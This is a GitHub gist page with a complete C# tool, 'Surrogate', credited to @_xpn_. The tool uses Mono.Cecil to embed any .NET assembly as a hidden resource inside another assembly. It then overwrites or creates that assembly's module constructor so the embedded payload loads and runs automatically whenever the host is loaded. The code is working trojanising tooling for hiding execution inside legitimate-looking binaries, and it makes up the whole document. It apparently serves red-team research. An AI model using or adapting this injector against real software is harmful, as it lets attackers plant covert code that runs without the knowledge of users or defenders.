Skip to content

Instantly share code, notes, and snippets.

@xpn
Created March 8, 2019 23:40
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save xpn/6f202a94123a1e51ed0035c441db5ef5 to your computer and use it in GitHub Desktop.
Save xpn/6f202a94123a1e51ed0035c441db5ef5 to your computer and use it in GitHub Desktop.
using Mono.Cecil;
using Mono.Cecil.Cil;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
namespace Surrogate
{
class Program
{
// Add our loader stub to the module constructor
public static void AddLoaderStub(AssemblyDefinition cecilAssembly, MethodDefinition method, bool addRet)
{
var ilProc = method.Body.GetILProcessor();
// Clear and add our own local arguments
ilProc.Body.Variables.Clear();
ilProc.Body.Variables.Add(new VariableDefinition(method.Module.Import(typeof(System.IO.Stream))));
ilProc.Body.Variables.Add(new VariableDefinition(method.Module.Import(typeof(byte[]))));
ilProc.Body.Variables.Add(new VariableDefinition(method.Module.Import(typeof(System.Reflection.Assembly))));
ilProc.Body.Variables.Add(new VariableDefinition(method.Module.Import(typeof(string[]))));
ilProc.Body.Variables.Add(new VariableDefinition(method.Module.Import(typeof(string[]))));
// Clear instructions as we will be taking over
ilProc.Body.Instructions.Clear();
// Add our IL to load an assembly from a resource and pass execution (and arguments) to the entrypoint
ilProc.Append(ilProc.Create(OpCodes.Call, method.Module.Import(typeof(System.Reflection.Assembly).GetMethod("GetExecutingAssembly"))));
ilProc.Append(ilProc.Create(OpCodes.Ldstr, "embedded"));
ilProc.Append(ilProc.Create(OpCodes.Callvirt, method.Module.Import(typeof(System.Reflection.Assembly).GetMethod("GetManifestResourceStream", new[] { typeof(string) }))));
ilProc.Append(ilProc.Create(OpCodes.Stloc_0));
ilProc.Append(ilProc.Create(OpCodes.Ldloc_0));
ilProc.Append(ilProc.Create(OpCodes.Callvirt, method.Module.Import(typeof(System.IO.Stream).GetMethod("get_Length"))));
ilProc.Append(ilProc.Create(OpCodes.Conv_Ovf_I));
ilProc.Append(ilProc.Create(OpCodes.Newarr, method.Module.Import(typeof(Byte))));
ilProc.Append(ilProc.Create(OpCodes.Stloc_1));
ilProc.Append(ilProc.Create(OpCodes.Ldloc_0));
ilProc.Append(ilProc.Create(OpCodes.Ldloc_1));
ilProc.Append(ilProc.Create(OpCodes.Ldc_I4_0));
ilProc.Append(ilProc.Create(OpCodes.Ldloc_0));
ilProc.Append(ilProc.Create(OpCodes.Callvirt, method.Module.Import(typeof(System.IO.Stream).GetMethod("get_Length"))));
ilProc.Append(ilProc.Create(OpCodes.Conv_I4));
ilProc.Append(ilProc.Create(OpCodes.Callvirt, method.Module.Import(typeof(System.IO.Stream).GetMethod("Read", new[] { typeof(byte[]), typeof(Int32), typeof(Int32) }))));
ilProc.Append(ilProc.Create(OpCodes.Pop));
ilProc.Append(ilProc.Create(OpCodes.Ldloc_1));
ilProc.Append(ilProc.Create(OpCodes.Call, method.Module.Import(typeof(System.Reflection.Assembly).GetMethod("Load", new[] { typeof(byte[]) }))));
ilProc.Append(ilProc.Create(OpCodes.Stloc_2));
ilProc.Append(ilProc.Create(OpCodes.Ldloc_2));
ilProc.Append(ilProc.Create(OpCodes.Callvirt, method.Module.Import(typeof(System.Reflection.Assembly).GetMethod("get_EntryPoint"))));
ilProc.Append(ilProc.Create(OpCodes.Ldnull));
ilProc.Append(ilProc.Create(OpCodes.Ldc_I4_1));
ilProc.Append(ilProc.Create(OpCodes.Newarr, method.Module.Import(typeof(System.Object))));
ilProc.Append(ilProc.Create(OpCodes.Dup));
ilProc.Append(ilProc.Create(OpCodes.Ldc_I4_0));
ilProc.Append(ilProc.Create(OpCodes.Call, method.Module.Import(typeof(System.Environment).GetMethod("GetCommandLineArgs"))));
ilProc.Append(ilProc.Create(OpCodes.Stloc_3));
ilProc.Append(ilProc.Create(OpCodes.Ldloc_3));
ilProc.Append(ilProc.Create(OpCodes.Ldlen));
ilProc.Append(ilProc.Create(OpCodes.Conv_I4));
ilProc.Append(ilProc.Create(OpCodes.Ldc_I4_1));
ilProc.Append(ilProc.Create(OpCodes.Sub));
ilProc.Append(ilProc.Create(OpCodes.Newarr, method.Module.Import(typeof(System.String))));
ilProc.Append(ilProc.Create(OpCodes.Stloc, ilProc.Body.Variables[4]));
ilProc.Append(ilProc.Create(OpCodes.Call, method.Module.Import(typeof(System.Environment).GetMethod("GetCommandLineArgs"))));
ilProc.Append(ilProc.Create(OpCodes.Ldc_I4_1));
ilProc.Append(ilProc.Create(OpCodes.Ldloc, ilProc.Body.Variables[4]));
ilProc.Append(ilProc.Create(OpCodes.Ldc_I4_0));
ilProc.Append(ilProc.Create(OpCodes.Ldloc_3));
ilProc.Append(ilProc.Create(OpCodes.Ldlen));
ilProc.Append(ilProc.Create(OpCodes.Conv_I4));
ilProc.Append(ilProc.Create(OpCodes.Ldc_I4_1));
ilProc.Append(ilProc.Create(OpCodes.Sub));
ilProc.Append(ilProc.Create(OpCodes.Call, method.Module.Import(typeof(System.Array).GetMethod("Copy", new[] { typeof(System.Array), typeof(Int32), typeof(System.Array), typeof(Int32), typeof(Int32) }))));
ilProc.Append(ilProc.Create(OpCodes.Ldloc, ilProc.Body.Variables[4]));
ilProc.Append(ilProc.Create(OpCodes.Stelem_Ref));
ilProc.Append(ilProc.Create(OpCodes.Callvirt, method.Module.Import(typeof(System.Reflection.MethodBase).GetMethod("Invoke", new[] { typeof(object), typeof(object[]) }))));
ilProc.Append(ilProc.Create(OpCodes.Pop));
ilProc.Append(ilProc.Create(OpCodes.Ret));
}
static void Main(string[] args)
{
MethodDefinition moduleConstructor = null;
AssemblyDefinition cecilAssembly = null;
byte[] assembly = null;
Console.WriteLine("Cecil Surrogate example by @_xpn_\n");
if (args.Length != 3)
{
Console.WriteLine("[!] Error: Usage: surrogate.exe INPUT_FILE SURROGATE_FILE OUTPUT_FILE");
return;
}
try
{
cecilAssembly = AssemblyDefinition.ReadAssembly(args[0]);
}
catch (System.Exception e)
{
Console.WriteLine("[!] Error: Could not read surrogate assembly: " + e.Message);
return;
}
try
{
assembly = File.ReadAllBytes(args[1]);
}
catch (System.Exception e)
{
Console.WriteLine("[!] Error: Could not read target assembly: " + e.Message);
return;
}
// Add our tool to the surrogate applications resources section
var resources = cecilAssembly.MainModule.Resources;
var newResource = new EmbeddedResource("embedded", ManifestResourceAttributes.Public, assembly);
resources.Add(newResource);
// Search for existing Module constructor
var moduleType = cecilAssembly.MainModule.Types.FirstOrDefault(x => x.Name == "<Module>");
moduleConstructor = moduleType.Methods.FirstOrDefault(x => x.Name == ".cctor");
if (moduleConstructor == null)
{
// No module constructor so we need to create one
moduleConstructor = new MethodDefinition(".cctor", MethodAttributes.Private |
MethodAttributes.HideBySig |
MethodAttributes.Static |
MethodAttributes.SpecialName |
MethodAttributes.RTSpecialName,
cecilAssembly.MainModule.TypeSystem.Void
);
moduleType.Methods.Add(moduleConstructor);
// Add our loader to the module constructor
AddLoaderStub(cecilAssembly, moduleConstructor, true);
}
else
{
// Module constructor exists, so add our loader to the existing method
AddLoaderStub(cecilAssembly, moduleConstructor, false);
}
try
{
// Write our newly modified assembly
cecilAssembly.Write(args[2]);
}
catch (System.Exception e)
{
Console.WriteLine("[!] Error: Could not write finished assembly: " + e.Message);
return;
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment